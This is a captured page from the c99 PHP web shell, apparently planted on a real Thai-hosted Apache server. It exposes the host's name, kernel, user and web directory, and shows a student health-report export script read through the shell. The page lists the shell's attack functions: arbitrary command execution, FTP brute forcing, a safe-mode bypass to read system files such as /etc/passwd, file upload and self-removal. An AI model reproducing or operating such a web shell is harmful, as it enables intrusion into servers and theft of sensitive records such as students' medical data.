!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_rpt_health.php (2.69 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
('Content-type: application/xls');
header('Content-Disposition: attachment; filename="testing.xls"');
?>
<h3>รายงานประวัติสุขภาพและป่วยเป็นโรค</h3>
<table width="100%" border="1">
    <thead>
        <tr>
            <th>ลำดับ</th>
            <th>รหัสนักศึกษา</th>
            <th>ชื่อ-สกุลนักศึกษา</th>
            <th>น้ำหนัก</th>
            <th>ส่วนสูง</th>
            <th>เส้นรอบเอว</th>
            <th>ดัชนีมวลกาย</th>
            <th>ผลการประเมินดัชนีมวลกาย</th>
            <th>โรค</th>
            <th>อาการ</th>
            <th>ชื่อวัคซีนที่ได้รับ</th>
            <th>อวัยวะที่ x-ray</th>
            <th>ผลการตรวจต่างๆ</th>
            <th>การรักษาและคำแนะนำ</th>
            <th>ผลการรักษา</th>
            <th>สถานะการนอนรักษาตัว</th>
            <th>สถานที่รักษา</th>
            <th>วันที่เริ่มต้น</th>
            <th>วันที่สิ้นสุด</th>
        </tr>
    </thead>
    <tbody>
<?php
        $i 
1;
        if (isset(
$rs_hth)) {
            foreach (
$rs_hth->result() as $row_hth) {
?>
        <tr >
            <td height="22" align="center"><?php echo $i;?></td>
            <td align="center"><?php echo $row_hth->stdCode;?></td>
            <td><?php echo $row_hth->prefixName.$row_hth->stdName.' '.$row_hth->stdSurname;?></td>
            <td align="right"><?php echo number_format($row_hth->hth_weight1) ;?></td>
            <td align="right"><?php echo number_format($row_hth->hth_height1);?></td>
            <td align="right"><?php echo number_format($row_hth->hth_waist1);?></td>
            <td align="right"><?php echo number_format($row_hth->hth_BMI1);?></td>
            <td><?php echo $row_hth->bmi_name;?></td>
            <td><?php echo $row_hth->hth_disease;?></td>
            <td><?php echo $row_hth->hth_symptom;?></td>
            <td><?php echo $row_hth->hth_vaccine;?></td>
            <td><?php echo $row_hth->hth_xray;?></td>
            <td><?php echo $row_hth->hth_diagnose;?></td>
            <td><?php echo $row_hth->hth_treatment;?></td>
            <td><?php echo $row_hth->hth_result_diagnose;?></td>
            <td align="center"><?php echo $row_hth->hth_pd;?></td>
            <td><?php echo $row_hth->hth_place;?></td>
            <td align="center"><?php echo abbreDate2($row_hth->hth_fr_date);?></td>
            <td align="center"><?php echo abbreDate2($row_hth->hth_to_date);?></td>
        </tr>
<?php
                $i
++;
            }
        }

        if (
$i == 1) {
?>
        <tr class="notfound">
            <td colspan="19"><?php echo $this->config->item('sa_not_found');?></td>
        </tr>
<?php
        
}
?>
    </tbody>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.005 ]--